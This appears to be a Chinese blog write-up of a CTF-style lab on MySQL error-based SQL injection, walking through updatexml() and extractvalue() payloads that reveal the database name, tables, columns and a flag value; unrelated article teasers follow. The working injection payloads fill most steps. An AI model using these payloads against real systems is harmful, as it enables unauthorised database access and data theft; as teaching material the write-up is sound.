2025.1.15——三、报错注入

devtools/2025/1/16 18:30:07/

一、基本操作:整理已知信息,本题为报错注入,需进一步确认回显方式

二、用updatexml()解题步骤

step 1:依据回显方式判断题目类型

键入:1、1 and 1=1 、id=2-1

得到:查询正确的回显

键入:1’、1' and 1=1

得到:错误回显,但是错误回显中并没有数字1,第一个和第三个引号是SQL数据库自带符号,中间是输入的内容,但报错内容只框住了单引号,说明单引号前的内容没有问题,所以还是数字型注入

step 2:查看字段名

多次尝试查询字段数

sql">1 order by 3

sql">1 order by 2

step 3:确定报错函数updatexml()可用

updatexml()函数

一般形式:updatexml (XML_document, XPath_string, new_value)

参数:

XML_document:是一个有效的 XML 文档对象,可以是一个字符串形式的 XML 文档。

XPath_string:是一个 XPath 表达式,用于指定要更新的节点在 XML 文档中的位置。XPath 是一种用于在 XML 文档中查找信息的语言。

new_value:是要更新到指定节点的新值。

sql">1 and updatexml(1,0x7e,3) -- a

payload解释:第一个参数和第三个参数都不符合要求,目的是引发报错,第二个参数中7e对应的ASCII字符是~,目的是引发SQL报错;最后的-- a是SQL注释掉后面的语句

updatexml()的主要目的:引发报错

step 4:爆数据库

sql">1 and updatexml(1,concat('~',database(),'~'),1) -- a

注:这里的concat()函数是用于将多个字符串连接成一个字符串的函数

step 5:爆表名

sql">1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

注:这里的group_concat()函数是用于将分组后的字符串连接起来;concat()函数的中间参数(爆数据库名核心语句)要括号括起来,其余一样

step 6:爆列名

sql">1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'),'~'),3) #

step 7:爆具体数据

sql">1 and updatexml(1,concat('~',(select concat(flag) from sqli.flag),'~'),1) -- a

三、用extractvalue()函数解题步骤

extractvalue()函数

一般形式:extractvalue (XML_document, XPath_string)

XML_document:是一个有效的 XML 文档对象,可以是一个字符串形式的 XML 文档

XPath_string:是一个 XPath 表达式,用于指定要从XML_document中提取的节点或节点值的位置

前面重复部分见前面详情

step 4:爆数据库

sql">1 and extractvalue(1,concat(0x7e,database(),0x7e)) #

注:这里extractvalue()函数中第一个参数是满足函数参数要求,第二个参数是构造特定的报错信息

step 5:爆所有的表名

sql">​1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

step 6:爆列名

sql">1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)) #

step 7:爆具体数据

sql">1 and extractvalue(1,concat(0x7e,(select flag from sqli.flag),0x7e)) #

四、updatexml()函数和extractvalue()函数的区别

        具体区别在于updatexml()函数有三个参数,extractvalue()函数有两个参数,核心语句与整数型注入无差别,这里同样要加 # 或 -- a 将剩余部分注释掉


http://www.ppmy.cn/devtools/151021.html

相关文章

解决 Mac 系统上的 node-sass 问题

解决 Mac 系统(尤其是 M1/M2)上的 node-sass 问题 问题描述 在 Mac 系统上使用 node-sass 时,经常会遇到以下错误: Node Sass does not yet support your current environment: OS X 64-bit with Unsupported runtime (108)或者…

WPF-01理解XAML

文章目录 基础xmles 声明命名空间命名元素NameForegroundBackground标记扩展附加属性特殊符号空白保留事件datatimepadding加载和编译XMAL基础 xmles 声明命名空间 命名元素 Name system.windows.controls.Grid Foreground 前端背景 Foreground="White"或者For…

MR30分布式IO:贴标机产线的高效扩展与控制新纪元

在智能制造的浪潮中,贴标机作为自动化生产线上不可或缺的一环,其性能与效率直接关系到产品包装的质量与生产效率。 随着市场需求的日益多样化与规模化,传统集中式IO控制方式逐渐暴露出扩展性差、维护成本高、响应速度慢等问题,难…

【Docker】入门教程

目录 一、Docker的安装 二、Docker的命令 Docker命令实验 1.下载镜像 2.启动容器 3.修改页面 4.保存镜像 5.分享社区 三、Docker存储 1.目录挂载 2.卷映射 四、Docker网络 1.容器间相互访问 2.Redis主从同步集群 3.启动MySQL 五、Docker Compose 1.命令式安装 …

Springboot 注解缓存使用教程

Spring Boot Cache 注解使用教程 Spring Boot 提供了强大的缓存抽象,开发者可以通过注解快速实现缓存功能,从而提高系统性能。本教程将全面介绍 Spring Boot 提供的缓存相关注解及其作用,并结合示例讲解实际应用。 1. 常用缓存注解概览 Spring Boot 缓存提供以下核心注解…

3. Flink 窗口

一. 基本概念 窗口是处理无限流的核心。窗口将流划分为固定大小的“桶”,方便程序员在上面应用各种计算。Window操作是流式数据处理的一种非常核心的抽象,它把一个无限流数据集分割成一个个有界的Window,然后就可以非常方便地定义作用于Wind…

Python海龟绘图库:从入门到精通 - Python官方文档(三万字解析!)

turtle --- 海龟绘图 源码: Lib/turtle.py 概述 海龟绘图是对 最早在 Logo 中引入的受欢迎的几何绘图工具 的实现,它由 Wally Feurzeig, Seymour Papert 和 Cynthia Solomon 在 1967 年开发。 入门 请想象绘图区有一只机器海龟,起始位置在…

Flask-SQLAlchemy 基于一个base表 - 动态创建使用相同字段的其他业务表

1 安装 首先,确保您安装了 Flask 和 SQLAlchemy,以及 MySQL 的驱动程序(例如 mysql-connector-python 或 PyMySQL): pip install Flask Flask-SQLAlchemy mysql-connector-python2 创建项目结构 创建一个简单的项目…